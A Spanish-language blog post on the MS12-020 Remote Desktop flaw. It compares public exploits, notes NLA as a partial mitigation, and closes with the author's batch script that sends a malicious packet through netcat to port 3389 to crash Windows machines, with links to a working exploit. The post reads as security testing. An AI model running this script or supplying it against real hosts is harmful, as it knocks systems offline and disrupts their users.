Algunas notas sobre el exploit MS12-020

Estándar

Hola a tod@s!

Llevo unos 3 días informándome sobre la vulnerabilidad que afecta a todos los servicios de Terminal Server, y he aquí la información que puedo aportar al respecto de leer y releer scripts e información adicional.

Después de leer en mi RSS post similares con información relativa a exploits públicos, los cuales revelaban que habían conseguido ejecutar código remoto , me puse a buscar dichos exploits.

El único que he encontrado, a simple vista parece que lanza una shellcode escuchando en el puerto 4444 de la posible “víctima”. Nada más lejos de la realidad.

Estuve como 45 minutos de mi triste vida intentando buscar algún port de RDP en python sin éxito. Así que estuve leyendo cosas relacionadas con el proyecto FreeRDP, para al final, confirmarse la sospecha de que el script que se encuentra publicado en Pastebin es un puto fake como una catedral, y que me costó cerca de una hora de mi vida.

Imagen 1.- FAKE como una catedral

El siguiente script que probé,  es el ya archiconocido exploit chino, el cual lleva código robado de un partner de Microsoft. En un principio se habló de una filtración en ZDI, pero Microsoft ha acabado confirmando que se ha tratado de una filtración a través de uno de sus partners.

Este exploit funciona a la perfección, pero sólo en Windows 7. He probado en un Windows XP SP3 en Spanish, y no causa ningún efecto en el sistema, salvo que éste consume todos los recursos a nivel de CPU, permaneciendo al 100% en la ejecución del exploit.

Imagen 2.- 100 % CPU exploit ms12-020

Como he comentado antes, en Windows 7 y Windows Server 2008 funciona a la perfección, pero es posible mitigar en parte este ataque, configurando el equipo para que sólo permita la autenticación basada en NLA (Network Level Authentication). Cuando configuramos esta opción, a la hora de negociar una conexión RDP contra un Server 2K8 o un Wiindows Vista/7, se obliga a autenticarse primero al cliente, antes de que el equipo que hace las veces de servidor establezca una sesión completa RDP. Esta configuración, mitigaría cualquier ataque de denegación de servicio de forma automatizada, debido a la no disponibilidad de usuario y password. En el caso de que se conozca un usuario y password de RDP, se podría seguir explotando el fallo, y automatizándolo con scripts.

Sin duda alguna, el que me ha funcionado a la perfección tanto en Windows XP como en Windows 7, ha sido el paquete de demostración que ha publicado el descubridor del fallo Luigi Auriemma. El paquete de demostración lo tiene publicado en el advisory ampliamente comentado en otros blogs y foros de internet, y funciona perfectamente.

En el propio Advisory, Luigi explica que en algunas ocasiones, se hace necesario realizar varias veces el envío del paquete malicioso para que Windows suelte un bonito BSOD, así que dicho y hecho! Como hay publicados ya muchos exploits en Python, Ruby, C y demás lenguajes, yo para probar mis sistemas he decidido realizar un cutre script en BATCH (Con dos cojones ;-)) haciendo llamadas a netcat para que realice un envío del paquete malicioso.

Probando en Windows XP y Windows 7 con el paquete mágico, con sólo el envío de 4 paquetes los dos sistemas pintan un bonito BSOD. El cutre código (Of course) aquí:

 @echo off
 echo .
 echo ##################################################################################
 echo # MS12-020 cutre script BSOD Exploit
 echo # Juan Garrido http://windowstips.wordpress.com
 echo # Tested on XPSP3 And Windows 7 32 bits
 echo # Windows 7 With NLA (NetWork Level Authentication) not Working
 echo # See more http://technet.microsoft.com/en-us/security/bulletin/ms12-020
 echo ##################################################################################
 if "%1"=="" GOTO msg
 set _IP=%1
 set _Netcat=nc.exe %_IP% 3389 ^< termdd_1.dat
 :RUN
 FOR /L %%i IN (1,1,5) DO %_Netcat%
 GOTO end
 :msg
 echo ERROR: Specify a hostname or IP address.
 echo i.e. %0 HOSTNAME
 goto end
 :end
 pause
 

Salu2 a tod@s!

 

Referencias

https://github.com/FreeRDP/FreeRDP

http://pastebin.com/fFWkezQH (FAKE como una catedral)

http://blogs.technet.com/b/msrc/archive/2012/03/16/proof-of-concept-code-available-for-ms12-020.aspx

http://pastebin.com/jzQxvnpj (Exploit funcional Windows 7)

http://technet.microsoft.com/en-us/library/cc732713.aspx (Network Level Authentication)

http://aluigi.org/adv/termdd_1-adv.txt (Advisory explicando la vulnerabilidad MS12-020)